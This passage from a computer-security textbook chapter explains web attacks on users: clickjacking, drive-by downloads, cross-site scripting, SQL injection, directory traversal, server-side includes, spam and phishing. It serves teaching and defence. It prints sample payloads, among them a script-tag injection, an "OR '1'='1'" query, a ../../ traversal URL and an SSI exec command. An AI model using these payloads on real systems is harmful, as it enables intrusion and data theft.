• superimpose a benign image underneath the malicious image (remember, the malicious image is transparent) with what looks like a button directly under the real (but invisible) button for the action the attacker wants (such as, “Yes” install the program)

• induce the victim to click what seems to be a button on the benign image

The two technical tasks, changing the color to transparent and moving the page, are both possible because of a technique called framing, or using an iframe. An iframe is a structure that can contain all or part of a page, can be placed and moved anywhere on another page, and can be layered on top of or underneath other frames. Although impor- tant for managing complex images and content, such as a box with scrolling to enter a long response on a feedback page, frames also facilitate clickjacking.

But, as we show in the next attack discussion, the attacker can obtain or change a user’s data without creating complex web images.

Drive-By Download

Similar to the clickjacking attack, a drive-by download is an attack in which code is downloaded, installed, and executed on a computer without the user’s permission and usually without the user’s knowledge. In one example of a drive-by download, in April 2011, a web page from the U.S. Postal Service was compromised with the Blackhole commercial malicious-exploit kit. Clicking a link on the postal service web site redi- rected the user to a web site in Russia, which presented what looked like a familiar “Error 404—Page Not Found” mes- sage, but instead the Russian site installed malicious code carefully matched to the user’s browser and operating system type (eWeek, 10 April 2011).

Eric Howes [HOW04] describes an attack in which he visited a site that ostensibly helps people identify lyrics to songs. Suspecting a drive-by download, Howes conducted an experiment in which he used a computer for which he had a catalog of installed soft- ware, so he could determine what had been installed after visiting the web site.

On his entry, the site displayed a pop-up screen asking for permission to install the program “software plugin” from “Software Plugin, Ltd.” The pop-up was generated by a hidden frame loaded from the site’s main page, seeking to run the script download- mp3.exe, a name that seems appropriate for a site handling music. When he agreed to the download, Howes found eight distinct programs (and their support code and data) downloaded to his machine.

Among the changes he detected were

• eight new programs from at least four different companies

• nine new directories

• three new browser toolbars (including the interesting toolbar shown in Figure 4-14)

• numerous new desktop icons

Drive-by download: downloading and installing code other than what a user expects

Section 4.2 Web Attacks Targeting Users 259

• an addition to the bottom of the Save As dialog box, offering the opportunity to buy a computer accessory and take part in a survey to enter a sweepstakes

• numerous new Favorites entries

• a new browser start page

Removing this garbage from his computer was a challenge. For example, changing the browser start page worked only while the browser was open; closing the browser and reopening it brought back the modified start page. Only some of the programs were listed in add/remove programs, and removing programs that way was only partially successful. Howes also followed the paths to the companies serving the software and downloaded and ran uninstall utilities from those companies, again with only partial success. After those two attempts at removal, Howes’ anti-malware utilities found and eradicated still more code. He finally had to remove a few stray files by hand.

Fortunately, it seems there were no long-lasting, hidden registry changes that would have been even harder to eliminate. Howes was prepared for this download and had a spare machine he was willing to sacrifice for the experiment, as well as time and patience to undo all the havoc it created. Most users would not have been so prepared or so lucky.

This example indicates the range of damage a drive-by download can cause. Also, in this example, the user actually consented to a download (although Howes did not consent to all the things actually downloaded). In a more insidious form of drive-by download such as the postal service example, the download is just a script. It runs as a web page is displayed and probes the computer for vulnerabilities that will permit later downloads without permission.

Protecting Against Malicious Web Pages

The basic protection against malicious web content is access control, as presented in Chapter 2. In some way we want to prevent the malicious content from becoming estab- lished or executed.

Access control accomplishes separation, keeping two classes of things apart. In this context, we want to keep malicious code off the user’s system; alas, that is not easy.

Users download code to add new applications, update old ones, or improve execu- tion. Additionally, often without the user’s knowledge or consent, applications, includ- ing browsers, can download code either temporarily or permanently to assist in handling a data type (such as displaying a picture in a format new to the user). Although some operating systems require administrative privilege to install programs, that practice is not universal. And some naïve users run in administrative mode all the time. Even when

FIGURE 4-14 Drive-By Downloaded Toolbar

260 Chapter 4 The Web—User Side

the operating system does demand separate privilege to add new code, users accus- tomed to annoying pop-up boxes from the operating system routinely click [Allow] without thinking. As you can see, this explanation requires stronger action by both the user and the operating system, unlikely for both. The relevant measures here would include least privilege, user training, and visibility.

The other control is a responsibility of the web page owner: Ensure that code on a web page is good, clean, or suitable. Here again, the likelihood of that happening is small, for two reasons. First, code on web pages can come from many sources: libraries, reused modules, third parties, contractors, and original programming. Website owners focus on site development, not maintenance, so placing code on the website that seems to work may be enough to allow the development team to move on to the next project. Even if code on a site was good when the code was first made available for downloads, few site managers monitor over time to be sure the code stays good.

Second, good (secure, safe) code is hard to define and enforce. As we explained in Chapter 3, stating security requirements is tricky. How do you distinguish security- neutral functionality from security-harmful. And even if there were a comprehensive distinction between neutral and harmful, analyzing code either by hand or automati- cally can be close to impossible. (Think of the code fragment in Chapter 3 showing an error in line 632 of a 1970-line module.) Thus, the poor website maintainer, handed new code to install, too often needs to just do the task without enforcing any security requirements.

As you can infer from this rather bleak explanation, the problem of malicious code on web sites is unlikely to be solved. User vigilance can reduce the likelihood of accept- ing downloads of such code, and careful access control can reduce the harm if malicious code does arrive. But planning and preparedness for after-the-infection recovery is also a necessary strategy.

4.3 Obtaining User Or Website Data

In this section we study attacks that seek to extract sensitive information. Such attacks can go in either direction: from user against web site, or vice versa, although it is more common for them to apply against the remote web server (because servers typically have valuable data on many people, unlike a single user). These incidents try to trick a database management system into revealing otherwise controlled information.

The common factor in these attacks is that website content is provided by computer commands. The commands form a language that is often widely known. For example, almost all database management systems process commands in a language known as SQL, which stands for Structured Query Language. Reference books and sample pro- grams in SQL are readily available. Someone interested in obtaining unauthorized data from the background database server crafts and passes SQL commands to the server through the web interface. Similar attacks involve writing scripts in Java. These attacks are called scripting or injection attacks because the unauthorized request is delivered as a script or injected into the dialog with the server.

Section 4.3 Obtaining User or Website Data 261

Code Within Data

In this section we examine several examples of attacks in which executable1 code is contained within what might seem to be ordinary data.

Cross-Site Scripting

To a user (client) it seems as if interaction with a server is a direct link, so it is easy to ignore the possibility of falsification along the way. However, many web interactions involve several parties, not just the simple case of one client to one server. In an attack called cross-site scripting, executable code is included in the interaction between client and server and executed by the client or server.

As an example, consider a simple command to the search engine Google. The user enters a simple text query, but handlers add commands along the way to the server, so what starts as a simple string becomes a structure that Google can use to interpret or refine the search, or that the user’s browser can use to help display the results. So, for example, a Google search on the string “cross site scripting” becomes &ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official &client=firefox-a&lr=lang_en

The query term became “cross+site+scripting,” and the other parameters (fields sepa- rated by the character &) are added by the search engine. In the example, ie (input encoding) and oe (output encoding) inform Google and the browser that the input is encoded as UTF-8 characters, and the output will be rendered in UTF-8, as well; lr=lang_en directs Google to return only results written in English. For efficiency, the browser and Google pass these control parameters back and forth with each interaction so neither side has to maintain exten- sive information about the other.

Sometimes, however, the interaction is not directly between the user’s browser and one web site. Many web sites offer access to outside services without leaving the site. For example, television station KCTV in Kansas City has a website with a search engine box so that a user can search within the site or on the web. In this case, the Google search result is displayed within a KCTV web page, a convenience to the user

1. In many cases this process is properly called “interpreting” instead of “executing.” Execution applies to a language, such as C, that is compiled and executed directly. Other action occurs with interpretative languages, such as SQL, in which a program, called an interpreter, accepts a limited set of commands and then does things to accomplish the meaning of those commands. Consider, for example, a database management system accepting a command to display all records for names beginning AD and born after 1990, sorted by salary; clearly many machine instructions are executed to implement this one command. For simplicity we continue to use the term execute to mean interpret, as well.

Scripting attack: forcing the server to execute commands (a script) in a normal data fetch request

262 Chapter 4 The Web—User Side

and a marketing advantage for KCTV (because the station keeps the user on its web site). The search query is loaded with parameters to help KCTV display the results; Google interprets the parameters for it and returns the remaining parameters unread and unmodified in the result to KCTV. These parameters become a script attached to the query and executed by any responding party along the way.

The interaction language between a client and server is simple in syntax and rich in effect. Communications between client and server must all be represented in plain text, because the web page protocol (http) uses only plain text. To render images or sounds, special effects such as pop-up windows or flashing text, or other actions, the http string contains embedded scripts, invoking Java, ActiveX, or other executable code. These programs run on the client’s computer within the browser’s context, so they can do or access anything the browser can, which usually means full access to the user’s data space as well as full capability to send and receive over a network connection.

How is access to user’s data a threat? A script might look for any file named address_ book and send it to, where an application would craft spam messages to all the addresses, with the user as the apparent sender. Or code might look for any file containing numbers of the form ddd-dd-dddd (the standard format of a U.S. social security number) and transmit that file to an identity thief. The possibilities are endless.

The search and response URL we listed could contain a script as follows:<SCRIPT SRC=></SCRIPT> &q=cross+site+scripting&ie=utf-8&oe=utf-8 &aq=t&rls=org.mozilla:en-US:official &client=firefox-a&lr=lang_en

This string would connect to where it would execute the Java script xss that could do anything allowed by the user’s security context.

Remember that the browser and server pass these parameters back and forth to main- tain context between a server and the user’s session. Sometimes a volley from the client will contain a script for the server to execute. The attack can also harm the server side if the server interprets and executes the script or saves the script and returns it to other clients (who would then execute the script). Such behavior is called a persistent cross- site scripting attack. An example of such an attack could occur in a blog or stream of comments. Suppose station KCTV posted news stories online about which it invited users to post comments. A malicious user could post a comment with embedded HTML containing a script, such as

Cool<br>story.<br>KCTVBigFan<script src=></script>

from the script source we just described. Other users who opened the comments area would automatically download the previous comments and see

Cool story. KCTVBigFan

Section 4.3 Obtaining User or Website Data 263

but their browser would execute the malicious script. As described in Sidebar 4-8, one attacker even tried (without success) to use this same approach by hand on paper.

SQL Injection

Cross-site scripting attacks are one example of the category of injection attacks, in which malicious content is inserted into a valid client–server exchange. Another injec- tion attack, called SQL injection, operates by inserting code into an exchange between a client and database server.

To understand this attack, you need to know that database management systems (DBMSs) use a language called SQL (which, in this context, stands for structured query language) to represent queries to the DBMS. The queries follow a standard syntax that is not too difficult to understand, at least for simple queries. For example, the query

SELECT * FROM users WHERE name = 'Williams';

will return all database records having “Williams” in the name field. Often these queries are composed through a browser and transmitted to the database

server supporting the web page. A bank might have an application that allows a user to download all transactions involving the user’s account. After the application identifies and authenticates the user, it might compose a query for the user on the order of

QUERY = "SELECT * FROM trans WHERE acct='" + acctNum + "';"

and submit that query to the DBMS. Because the communication is between an appli- cation running on a browser and the web server, the query is encoded within a long URL string

SIDEBAR 4-8 Scripting Votes

In Swedish elections anyone can write in any candidate. The Swedish election authority publishes all write-in candidate votes, listing them on a web site ( One write-in vote was recorded as the following:

[Voting location: R;14;Västra Götalands län;80;Göteborg;03;Göteborg, Centrum; 0722;Centrum, Övre Johanneberg;] (Script src=;1

This is perhaps the first example of a pen-and-paper script attack. Not only did it fail because the paper ballot was incapable of executing code, but without the HTML indicators <script> and </script>, this “code” would not execute even if the underlying web page were displayed by a browser. But within a few elections someone may figure out how to encode a valid script on a paper ballot, or worse, on an electronic one.

264 Chapter 4 The Web—User Side ?QUERY=SELECT%20*%20FROM%20trans%20WHERE%20acct='2468'

In this command, the space character has been replaced by its numeric equivalent %20 (because URLs cannot contain spaces), and the browser has substituted ‘2468’ for the account number variable. The DBMS will parse the string and return records appropriately.

If the user can inject a string into this interchange, the user can force the DBMS to return a set of records. The DBMS evaluates the WHERE clause as a logical expression. If the user enters the account number as “‘2468’ OR ‘1’=‘1’” the resulting query becomes

QUERY = "SELECT * FROM trans WHERE acct='" + acctNum + "';"

and after account number expansion it becomes

QUERY = "SELECT * FROM trans WHERE acct='2468' OR '1'='1'"

Because ‘1’=‘1’ is always TRUE, the OR of the two parts of the WHERE clause is always TRUE, every record satisfies the value of the WHERE clause and so the DBMS will return all records in the database.

The trick here, as with cross-site scripting, is that the browser application includes direct user input into the command, and the user can force the server to execute arbi- trary SQL commands.


Web-server code should always run in a constrained environment. Ideally, the web server should never have editors, xterm and Telnet programs, or even most system utili- ties loaded. By constraining the environment in this way, even if an attacker escapes from the web-server application, no other executable programs will help the attacker use the web server’s computer and operating system to extend the attack. The code and data for web applications can be transferred manually to a web server or pushed as a raw image.

But many web applications programmers are naïve. They expect to need to edit a web application in place, so they install editors and system utilities on the server to give them a complete environment in which to program.

A second, less desirable, condition for preventing an attack is to create a fence con- fining the web-server application. With such a fence, the server application cannot escape from its area and access other potentially dangerous system areas (such as edi- tors and utilities). The server begins in a particular directory subtree, and everything the server needs is in that same subtree.

Enter the dot-dot. In both Unix and Windows, ‘..’ is the directory indicator for “pre- decessor.” And ‘.. /..’ is the grandparent of the current location. So someone who can enter file names can travel back up the directory tree one .. at a time. Cerberus Informa- tion Security analysts found just that vulnerability in the webhits.dll extension for the

Section 4.3 Obtaining User or Website Data 265

Microsoft Index Server. For example, passing the following URL causes the server to return the requested file, autoexec.nt, enabling an attacker to modify or delete it. &File=../../../../../winnt/system32/autoexec.nt

Server-Side Include

A potentially more serious problem is called a server-side include. The problem takes advantage of the fact that web pages can be organized to invoke a particular function automatically. For example, many pages use web commands to send an email message in the “contact us” part of the displayed page. The commands are placed in a field that is interpreted in HTML.

One of the server-side include commands is exec, to execute an arbitrary file on the server. For instance, the server-side include command

<!--#exec cmd="/usr/bin/telnet &"-->

opens a Telnet session from the server running in the name of (that is, with the privi- leges of) the server. An attacker may find it interesting to execute commands such as chmod (change access rights to an object), sh (establish a command shell), or cat (copy to a file).

Website Data: A User’s Problem, Too

You might wonder why we raise a website owner’s data in this chapter. After all, shouldn’t the site’s owner be responsible for protecting that data? The answer is yes, but with a qualification.

First, you should recognize that this book is about protecting security in all aspects of computing, including networks, programs, databases, the cloud, devices, and operat- ing systems. True, no single reader of this book is likely to need to implement security in all those places, and some readers may never be in a position to actually implement security anywhere, although some readers may go on to design, develop, or maintain such things. More importantly, however, everyone who reads this book will use those components. All readers need to understand both what can go wrong and to what degree website owners and other engineers and administrators can protect against such harm. Thus, everyone needs to know range of potential threats, including those against distant web sites.

But more importantly, some website data affect users significantly. Consider one of the most common data items that web sites maintain: user IDs and passwords. As we describe in Chapter 2, people have difficulty remembering many different IDs and passwords. Making it easier for users, many web sites use an email address as a user’s identification, which means user will have the same ID at many web sites. This repeti- tion is not necessarily a problem, as we explain, because IDs are often public; if not an email address, an ID may be some obvious variation of the user’s name. What protects the user is the pair of the public ID and private authentication, typically a password.

266 Chapter 4 The Web—User Side

Having your ID is no help to an attacker as long as your password is extremely difficult to guess or derive. Alas, that is where users often go wrong.

Faced with many passwords to remember, users skimp by reusing the same password on multiple sites. Even that reuse would be of only minor consequence if web sites pro- tected IDs and corresponding passwords. But, as Sidebar 4-9 demonstrates, websites’ ID and password tables are both valuable to attackers and frequently obtained. The attack described is just one (the largest) of many such incidents described over time. Combine some users’ propensity for using the same password on numerous web sites with websites’ exposure to password leaking attacks, and you have the potential for authentication disaster.

Even if it is the web site that is attacked, it is the users who suffer the loss. Thus, understanding threats, vulnerabilities, and countermeasures is ultimately the web site owners’ responsibility. However, knowing that some web sites fail to protect their data adequately, you should be especially careful with your sensitive data: Choose strong passwords and do not repeat them across web sites.

Foiling Data Attacks

The attacks in this section all depend on passing commands disguised as input. As noted in Chapter 3, a programmer cannot assume that input is well formed.

SIDEBAR 4-9 Massive Compromise of a Password Database

The New York Times (5 Aug 2014) reported that a group of Russian crimi- nals had stolen over 1.2 billion ID and password pairs, and 500 million email addresses, as well as other sensitive data. These data items came from 420,000 web sites. To put those numbers in perspective, the U.S. Census Bureau (2013) estimated the total population of the world at slightly more than 7 billion people, which of course includes many who are not Internet users. Internet World Stats ( estimated that in 2012 there were approximately 2.4 billion Internet users in the world.

The attack results were reported by security consultant Alex Holden of Hold Security.

The attack group started work in 2011 but only began to exfiltrate authentication data in April 2014. Holden stated that the group consists of fewer than a dozen men in their 20s, operating from a base in Russia. The group first infects computers with reconnaissance software that examines web sites visited by the unsuspecting users of infected browsers. A vulner- able web site is reported back to the group, which later tests the site for compromise potential and finally mounts an attack (using SQL injection, which we just described) to obtain the full credentials database.

Section 4.4 Email Attacks 267

An input preprocessor could watch for and filter out specific inappropriate string forms, such as � and � in data expected to contain only letters and numbers. However, to support input from different keyboard types and in different languages, some brows- ers encode special characters in a numeric format, making such input slightly more difficult to filter.

The second countermeasure that applies is access control on the part of backend servers that might receive and execute these data attacks. For example, a database of names and telephone numbers might support queries for a single person. To assist users who are unsure of the spelling of some names, the application might support a wildcard notation, such as AAR* to obtain names and numbers of all people whose name begins with AAR. If the number of matching names is under a predetermined threshold, for example 10, the system would return all matching names. But if the query produces too many matches, the system could return an error indication.

In general, however, blocking the malicious effect of a cross-site scripting attack is a challenge.


So far we have studied attacks that involve the browser, either modifying the browser’s action or changing the web site the browser presents to the user. Another way to attack a user is through email.

Fake Email

Given the huge amount of email sent and received daily, it is not surprising that much of it is not legitimate. Some frauds are easy to spot, as our first example shows, but some illegitimate email can fool professionals, as in our second example.

A recent email message advised me that my Facebook account had been deacti- vated, shown in Figure 4-15. The only problem is, I have no Facebook account. In the figure I have shown where some of the links and buttons actually lead, instead of the addresses shown; the underlying addresses certainly do not look like places Facebook would host code.

This forgery was relatively well done: the images were clear and the language was correct; sometimes forgeries of this sort have serious spelling and syntax errors, although the quality of unauthentic emails has improved significantly. Attackers using fake email know most people will spot the forgery. On the other hand, it costs next to nothing to send 100,000 messages, and even if the response rate is only 0.1%, that is still 100 potential victims.

Fake Email Messages as Spam

Similarly, an attacker can attempt to fool people with fake email messages. Probably everyone is familiar with spam, fictitious or misleading email, offers to buy designer watches, anatomical enhancers, or hot stocks, as well as get-rich schemes involving money in overseas bank accounts. Similar false messages try to get people to click to

268 Chapter 4 The Web—User Side

download a browser enhancement or even just click for more detail. Spammers now use more realistic topics for false messages to entice recipients to follow a malicious link. Google’s email service for commercial customers, Postini, has reported [GOO10] that the following types of spam are rising:

• fake “nondelivery” messages (“Your message x could not be delivered”)

• false social networking messages, especially attempts to obtain login details

• current events messages (“Want more details on [sporting event, political race, crisis]?”)

• shipping notices (“x company was unable to deliver a package to your address— shown in this link.”)

Original email used only plain text, so the attacker had to persuade the user to go to a web site or take some action in response to the email. Now, however, email messages can use HTML-structured content, so they can have links embedded as “click here” buttons.

Volume of Spam

Security firm M86 Security Labs estimates that spam constitutes 86 percent of all email, and Google reports an average of 50–75 spam email messages per day per user of its Enterprise mail service. Message Labs puts the percentage of spam at over 90 per- cent. Kaspersky estimates that as of February 2014, spam accounts for 68 percent to


FIGURE 4-15 Fake Email

Section 4.4 Email Attacks 269

71 percent of all email, and Symantec [SYM14] reported that the percentage of spam to all email traffic held steady between 60 percent and 70 percent throughout 2012 and 2013.

The top countries originating spam are China (22.93 percent), the United States (19.05 percent), and South Korea (12.81 percent); all other countries are less than 8 per- cent each.

According to Symantec’s analysis, 69.7 percent of spam messages had a sexual or dating content, 17.7 percent pharmaceuticals, and 6.2 percent jobs. Sidebar 4-10 describes a combined legal and technical approach to eliminating spam.

Why Send Spam?

Spam is an annoyance to its recipients, it is usually easy to spot, and sending it takes time and effort. Why bother? The answer, as with many things, is because there is money to be made.

We have already presented the statistics on volume of spam. The current estimates are that spam con- stitutes around 70 percent of all email traffic. There must be a profit for there to be that much spam in circulation.

SIDEBAR 4-10 Cutting Off Spammer Waledac/Storm

On 24 February 2010, Microsoft obtained a court order to cause top-level domain manager VeriSign to cease routing 277 .com domains, all belong- ing to Waledac, formerly known as Storm. At the same time, Microsoft disrupted Waledac’s ability to communicate with its network of 60,000 to 80,000 nodes that disseminated spam.

Spammers frequently use many nodes to send spam, so email receiv- ers cannot build a short list of spam senders to block. These large numbers of nodes periodically “call home” to a command-and-control network to obtain next instructions of spam to send or other work to perform.

A year earlier, researchers from Microsoft, the University of Mannheim in Germany, and the Technical University of Vienna had infiltrated the Wale- dac command and control network. Later, when the .com domains were shut down, the researchers used their position in the network to redirect command and update queries to harmless sites, thereby rendering the network nodes inoperable. Within hours of taking the offensive action, the researchers believed they had cut out 90 percent of the network.

When operational, the Waledac network was estimated to be able to generate and send 1.5 billion spam messages per day. This combined legal and technical counteroffensive was effective because it eliminated direct access through the blocked domain names and indirect access through the disabled command-and-control network.

Spammers make enough money to make the work worthwhile.

270 Chapter 4 The Web—User Side

Advertising The largest proportion of spam offers pharmaceuticals. Why are these so popular? First, some of the drugs are for adult products that patients would be embarrassed to request from their doctors. Second, the ads offer drugs at prices well under local retail prices. Third, the ads offer prescription drugs that would ordinarily require a doctor’s visit, which costs money and takes time. For all these reasons people realize they are trading outside the normal, legal, commercial pharmaceutical market, so they do not expect to find ads in the daily newspaper or on the public billboards. Thus, email messages, not necessarily recognized as spam, are acceptable sources of ads for such products.

Pump and Dump One popular spam topic is stocks, usually ones of which you have never heard—with good reason. Stocks of large companies, like IBM, Google, Nike, and Disney, move slowly because many shares are outstanding and many traders are willing to buy or sell at a price slightly above or below the current price. News, or even rumors, affecting one of these issues may raise or depress the price, but the price tends to stabilize when the news has been digested or the rumor has been confirmed or refuted. It is difficult to move the price by any significant amount.

Stocks of small issuers are often called “penny stocks,” because their prices are denominated in pennies, not in dollars, euros, or pounds. Penny stocks are quite vola- tile. Because volume is low, strong demand can cause a large percentage increase in the price. A negative rumor can likewise cause a major drop in the price.

The classic game is called pump and dump: A trader pumps—artificially inflates— the stock price by rumors and a surge in activity. The trader then dumps it when it gets high enough. The trader makes money as it goes up; the spam recipients lose money when the trader dumps holdings at the inflated prices, prices fall, and the buyers cannot find other willing buyers. Spam lets the trader pump up the stock price.

Advertising Some people claim there is no bad publicity. Even negative news about a company brings the company and its name to peoples’ attention. Thus, spam advertising a product or firm still fixes a name in recipients’ minds. Small, new companies need to get their name out; they can associate quality with that name later.

Thus advertising spam serves a purpose. Months after having received the spam you will have forgotten where you heard the company’s name. But having encountered it before in a spam message will make it familiar enough to reinforce the name recogni- tion when you hear the name again later in a positive context.

Malicious Payload In Chapter 6 we describe botnets, armies of compromised computers that can be com- mandeered to participate in any of a number of kinds of attacks: causing denial of service, sending spam, increasing advertising counts, even solving cryptographic puzzles. The bots are compromised computers with some unused computing cycles that can be rented.

How are these computers conscripted? Some are brought in by malware toolkit probes, as we describe in Chapter 3. Others are signed up when users click a link in an

Section 4.4 Email Attacks 271

email message. As you have seen in other examples in this chapter, users do not know what a computer really does. You click a link offering you a free prize, and you have actually just signed your computer up to be a controlled agent (and incidentally, you did not win the prize). Spam email with misleading links is an important vector for enlisting computers as bots.

Links to Malicious Web Sites Similarly, shady, often pornographic, web sites want ways to locate and attract custom- ers. And people who want to disseminate malicious code seek victims. Some sites push their content on users, but many want to draw users to the site. Even if it is spam, an email message makes a good way to offer such a site to potentially interested parties.

The Price Is Right Finally, the price—virtually free—makes spam attractive to advertisers. A spam sender has to rent a list of target addresses, pay to compose and send messages, and cover the service provider’s fees. These terms are all small, and the cost of spam is low. How else would spammers stay in business?

Spam is part of a separate, unregulated economy for activities that range from ques- tionable to illegal. Its perpetrators can move from one political jurisdiction to another to stay ahead of legal challenges. And because it is an off-the-books enterprise without a home, it can avoid taxes and investigation, making it a natural bedfellow with other shady dealings. It is lucrative enough to remain alive and support its perpetrators comfortably.

What to Do about Spam?

At about 70 percent of Internet email activity, Spam consumes a significant share of resources. Without spam, ISPs and telecommunications backbone companies could save significantly on expanding capacity. What options are there for eliminating, reduc- ing, or regulating spam?

Legal Numerous countries and other jurisdictions have tried to make the sending of mas- sive amounts of unwanted email illegal. In the United States, the CAN-SPAM act of 2003 and Directive 2002/58/EC of the European Parliament are two early laws restricting the sending of spam; most industrialized countries have similar legislation. The prob- lems with all these efforts are juris- diction, scope, and redress.

A country is limited in what it can require of people outside its borders. Sending unsolicited email from one person in a country to another in the same country easily fits the model of activity a law can regulate: Search warrants, assets, subpoenas, and trials all are within the courts’ jurisdiction. But when the sender is outside the United States, these legal tools are harder to apply, if they can be applied at all. Because most spam is multinational in nature—originating in one country, sent through telecommunications

Spam is not yet annoying, harmful, or expensive enough to motivate international action to stop it.

272 Chapter 4 The Web—User Side

of another, to a destination in a third with perhaps a malicious link hosted on a computer in a fourth—sorting out who can act is complicated and time consuming, especially if not all the countries involved want to cooperate fully.

Defining the scope of prohibited activity is tricky, because countries want to support Internet commerce, especially in their own borders. Almost immediately after it was signed, detractors dubbed the U.S. CAN-SPAM act the “You Can Spam” act because it does not require emailers to obtain permission from the intended recipient before sending email messages. The act requires emailers to provide an opt-out procedure, but marginally legal or illegal senders will not care about violating that provision

Redress for an offshore agent requires international cooperation, which is both time consuming and political. Extraditing suspects and seizing assets are not routine activi- ties, so they tend to be reserved for major, highly visible crimes.

Thus, although passing laws against spam is easy, writing effective laws and imple- menting them is far more difficult. As we describe in Chapter 11, laws are an important and necessary part of maintaining a peaceful and fair civil society. Good laws inform citizens of honest and proper actions. But laws are not always effective deterrents against determined and dedicated actors.

Source Addresses The Internet runs on a sort of honor system in which everyone is expected to play by the rules. As we noted earlier, source addresses in email can easily be forged. Legitimate senders want valid source addresses as a way to support replies; illegitimate senders get their responses from web links, so the return address is of no benefit. Accurate return addresses only provide a way to track the sender, which illegitimate senders do not want.

Still, the Internet protocols could enforce stronger return addresses. Each recipient in the chain of email forwarding could enforce that the address of the sender match the system from which this email is being transmitted. Such a change would require a rewriting of the email protocols and a major overhaul of all email carriers on the Internet, which is unlikely unless there is another compelling reason, not security.

Screeners Among the first countermeasures developed against spam were screeners, tools to auto- matically identify and quarantine or delete spam. As with similar techniques such as virus detection, spammers follow closely what gets caught by screeners and what slips through, and revise the form and content of spam email accordingly.

Screeners are highly effective against amateur spam senders, but sophisticated mail- ers can pass through screeners.

Volume Limitations One proposed option is to limit the volume of a single sender or a single email system. Most of us send individual email messages to one or a few parties; occasionally we may send to a mass mailing list. Limiting our sending volume would not be a serious hard- ship. The volume could be per hour, day, or any other convenient unit. Set high enough the limits would never affect individuals.

Email sender addresses are not reliable.

Section 4.4 Email Attacks 273

The problem is legitimate mass marketers, who send thousands of messages on behalf of hundreds of clients. Rate limitations have to allow and even promote com- merce, while curtailing spam; balancing those two needs is the hard part.

Postage Certain private and public postal services were developed in city–states as much as two thousand years ago, but the modern public postal service of industrialized countries is a product of the 1700s. Originally the recipient, not the sender, paid the postage for a letter, which predictably led to letter inundation attacks. The model changed in the early 1800s, making the sender responsible for prepaying the cost of delivery.

A similar model could be used with email. A small fee could be charged for each email message sent, payable through the sender’s ISP. ISPs could allow some free mes- sages per customer, set at a number high enough that few if any individual customers would be subject to payment. The difficulty again would be legitimate mass mailers, but the cost of e-postage would simply be a recognized cost of business.

As you can see, the list of countermeasures is short and imperfect. The true challenge is placating and supporting legitimate mass emailers while still curtailing the activities of spammers.

Fake (Inaccurate) Email Header Data

As we just described, one reason email attacks succeed is that the headers on email are easy to spoof, and thus recipients believe the email has come from a safe source. Here we consider precisely how the spoofing occurs and what could be done.

Control of email headers is up to the sending mail agent. The header form is stan- dardized, but within the Internet email network as a message is forwarded to its destina- tion, each receiving node trusts the sending node to deliver accurate content. However, a malicious, or even faulty, email transfer agent may send messages with inaccurate headers, specifically in the “from” fields.

The original email transfer system was based on a small number of trustworthy par- ticipants, and the system grew with little attention to accuracy as the system was opened to less trustworthy participants. Proposals for more reliable email include authenticated Simple Mail Transport Protocol (SMTP) or SMTP-Auth (RFC 2554) or Enhanced SMTP (RFC 1869), but so many nodes, programs, and organizations are involved in the Internet email system that it would be infeasible now to change the basic email transport scheme.

Without solid authentication, email sources are amazingly easy to spoof. Telnet is a protocol that essentially allows a user at a keyboard to send commands as if pro- duced by an application program. The SMTP protocol, which is fully defined in RFC 5321, involves a number of text-based conversations between mail sender and receiver. Because the entire protocol is implemented in plain text, a person at a keyboard can cre- ate one side of the conversation in interaction with a server application on the other end, and the sender can present any message parameter value (including sender’s identity, date, or time).

274 Chapter 4 The Web—User Side

It is even possible to create and send a valid email message by composing all the headers and content on the fly, through a Telnet interaction with an SMTP service that will transmit the mail. Consequently, headers in received email are generally unreliable.


One type of fake email that has become prevalent enough to warrant its own name is phishing (pronounced like “fishing”). In a phishing attack, the email message tries to trick the recipient into disclosing private data or taking another unsafe action. Phishing email messages purport to be from reliable companies such as banks or other financial institutions, popular web site companies (such as Facebook, Hotmail, or Yahoo), or consumer products companies. An example of a phishing email posted as a warning on Microsoft’s web site is shown in Figure 4-16.

A more pernicious form of phishing is known as spear phishing, in which the bait looks especially appealing to the prey. What distinguishes spear phishing attacks is their use of social engineering: The email lure is personalized to the recipient, thereby reduc- ing the user’s skepticism. For example, as recounted in Sidebar 4-11, a phishing email might appear to come from some- one the user knows or trusts, such as a friend (whose email contacts list may have been purloined) or a sys- tem administrator. Sometimes the

FIGURE 4-16 Example Phishing Email Message

Spear phishing email tempts recipients by seeming to come from sources the receiver knows and trusts.

Section 4.4 Email Attacks 275

phishing email advises the recipient of an error, and the message includes a link to click to enter data about an account. The link, of, course, is not genuine; its only purpose is to solicit account names, numbers, and authenticators.

Protecting Against Email Attacks

Email attacks are getting sophisticated. In the examples shown in this chapter, errors in grammar and poor layout would raise a user’s skepticism. But over time the spam artists have learned the importance of producing an authentic-looking piece of bait.

SIDEBAR 4-11 Spear Phishing Nets Big Phish

In March 2011 security firm RSA announced the compromise of the secu- rity of its SecurID authentication tokens (described in Chapter 2). Accord- ing to a company announcement, an unknown party infiltrated servers and obtained company secrets, including “information . . . specifically related to RSA’s SecurID two-factor authentication products.” The company revealed that two spear phishing emails with subject line “2011 Recruitment Plan” were sent to a number of employees. One employee opened the email as well as an attached Excel spreadsheet, “2011 Recruitment plan.xls” infected with a previously unknown vulnerability. The harmful spreadsheet then installed a backdoor that connected the employee’s computer—inside the RSA corporate network—to a remote server.

Earlier, according to a report from Agence France Presse (18 Oct 2010), South Korean officials were duped into downloading malware that sent sensitive defense documents to a foreign destination, believed to be Chinese. The officials received email messages appearing to be from Korean diplomats, presidential aides, and other officials; the messages appeared to have come from the two main Korean portals, but the underly- ing IP addresses were registered in China.

The email messages contained attachments that were titled as and seemed to be important documents, such as plans for a dignitary’s visit or an analysis of the North Korean economy. When the recipient clicked to open the attachment, that action allowed a virus to infect the recipient’s computer, which in turn led to the transfer of the sensitive documents.

Before the G20 summit (meeting of 20 industrialized nations’ diplomats) in September 2012, attackers were able to access several diplomats from unspecified European nations. Tainted emails with attachments with names such as US_military_options_in_Syria were used to entice the recipients to open the files that then infected computers. The attackers were able to collect data from these computers in advance of and during the summit meeting.

In October 2012 the White House was a victim of a spear phishing attack that compromised an unclassified server. And in July 2013 White House staffers were again fooled by phishing email, this time designed to look like legitimate BBC or CNN news items. When recipients opened the email they were redirected to authentic-looking Gmail or Twitter login pages, from which the attackers were able to extract the staffers’ login credentials.

276 Chapter 4 The Web—User Side

